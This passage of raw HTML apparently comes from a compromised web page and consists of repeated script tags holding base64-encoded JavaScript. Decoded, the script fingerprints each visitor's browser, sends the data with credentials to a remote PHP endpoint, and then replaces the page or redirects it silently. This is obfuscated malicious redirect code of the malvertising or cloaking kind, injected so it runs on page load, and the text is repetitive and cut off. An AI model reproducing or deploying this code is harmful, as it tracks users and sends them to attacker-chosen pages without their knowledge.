aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0ibmV2ZXIiIC8+JyksZG9jdW1lbnQud3JpdGUoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7IHVybD0nK3QubGFuZGluZ191cmwrJyIgLz4nKSxkb2N1bWVudC53cml0ZSgiPC9oZWFkPjwvaHRtbD4iKSx2b2lkIGRvY3VtZW50LmNsb3NlKCkpOnZvaWQgMH19LGUuc2VuZChKU09OLnN0cmluZ2lmeShwYXJhbXMpKX19KCk7"></script>
<script src="data:text/javascript;base64,ZnVuY3Rpb24gcShlKXtmdW5jdGlvbiBmKGIsaCl7Zm9yKHZhciBjIGluIGIpdHJ5e3ZhciBkPWJbY107c3dpdGNoKHR5cGVvZiBkKXtjYXNlICJvYmplY3QiOmlmKG51bGw9PT1kKWNvbnRpbnVlO2Nhc2UgImZ1bmN0aW9uIjpkPWQudG9TdHJpbmcoKX1hW2grY109ZH1jYXRjaChtKXt9dHJ5e3ZhciBrPU9iamVjdC5nZXRPd25Qcm9wZXJ0eU5hbWVzKGIpO2FbaF09ay5sZW5ndGg7Zm9yKGM9MDtjPGsubGVuZ3RoOysrYyl0cnl7ZD1iW2tbY11dO3N3aXRjaCh0eXBlb2YgZCl7Y2FzZSAib2JqZWN0IjppZihudWxsPT09ZCljb250aW51ZTtjYXNlICJmdW5jdGlvbiI6ZD1kLnRvU3RyaW5nKCl9YVtoK2tbY11dPWR9Y2F0Y2gobSl7fX1jYXRjaChtKXt9fWU9dm9pZCAwPT09ZT97fTplO3ZhciBhPXt9O2YoZG9jdW1lbnQsImRvYy4iKTtmKG5hdmlnYXRvciwibmF2LiIpO2Yoc2NyZWVuLCJzY3IuIik7Zih3aW5kb3csIndpbi4iKTsoZnVuY3Rpb24oYixoKXt0cnl7Yj1iLmF0dHJpYnV0ZXM7Zm9yKHZhciBjIGluIGIpYz1iW2NdLGFbaCtjLm5vZGVOYW1lXT1jLm5vZGVWYWx1ZX1jYXRjaChkKXt9fSkoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LCJodG1sLiIpO3RyeXt2YXIgZz1mdW5jdGlvbigpe30sbj0wO2cudG9TdHJpbmc9ZnVuY3Rpb24oKXsrK247cmV0dXJuIiJ9O2NvbnNvbGUubG9nKGcpO2EudG9zdHJpbmc9bn1jYXRjaChiKXt9dHJ5e2EuY2xvc3VyZT1mdW5jdGlvbigpe30udG9TdHJpbmcoKX1jYXRjaChiKXt9dHJ5e3ZhciBsPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpLmdldENvbnRleHQoIndlYmdsIikscD1sLmdldEV4dGVuc2lvbigiV0VCR0xfZGVidWdfcmVuZGVyZXJfaW5mbyIpO2Eud2ViZ2w9W2wuZ2V0UGFyYW1ldGVyKHAuVU5NQVNLRURfVkVORE9SX1dFQkdMKSxsLmdldFBhcmFtZXRlcihwLlVOTUFTS0VEX1JFTkRFUkVSX1dFQkdMKV0uam9pbigiICIpfWNhdGNoKGIpe310cnl7YS50b3VjaEV2ZW50PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCJUb3VjaEV2ZW50IikudG9TdHJpbmcoKX1jYXRjaChiKXt9ZS5kYXRhPWE7cmV0dXJuIGV9IWZ1bmN0aW9uKCl7aWYoLTE9PXdpbmRvdy5sb2NhdGlvbi5ocmVmLnNlYXJjaCgiWz8mXV9ub19yZWRpcmVjdD1vbiIpKXt2YXIgZT1uZXcgWE1MSHR0cFJlcXVlc3Q7ZS53aXRoQ3JlZGVudGlhbHM9ITAscGFyYW1zPXEoe30pLGUub3BlbigiUE9TVCIsImh0dHBzOi8vdHJhZmZpYy1zdHJlYW0uZ2xvYmFsLnNzbC5mYXN0bHkubmV0L2NycXlsN2sucGhwP2tleT0yaDIycTU2eGdpaDN4cHhwMDQ5ZiZscF90eXBlPWpzX3JlZGlyZWN0JiIrd2luZG93LmxvY2F0aW9uLnNlYXJjaC5zdWJzdHJpbmcoMSksITApLGUscmVzcG9uc2VUeXBlPSdqc29uJyxlLm9ubG9hZD1mdW5jdGlvbigpe2lmKDIwMD09PWUuc3RhdHVzKXt2YXIgdD1KU09OLnBhcnNlKGUucmVzcG9uc2VUZXh0KTtyZXR1cm4gdC5sYW5kaW5nX2h0bWw/KGRvY3VtZW50Lm9wZW4oKSxkb2N1bWVudC53cml0ZSh0LmxhbmRpbmdfaHRtbCksdm9pZCBkb2N1bWVudC5jbG9zZSgpKTp0LmxhbmRpbmdfdXJsPyhkb2N1bWVudC5vcGVuKCksZG9jdW1lbnQud3JpdGUoIjxodG1sPjxoZWFkPiIpLGRvY3VtZW50LndyaXRlKCc8bWV0YSBuYW1lPSJyZWZlcnJlciIgY29udGVudD0i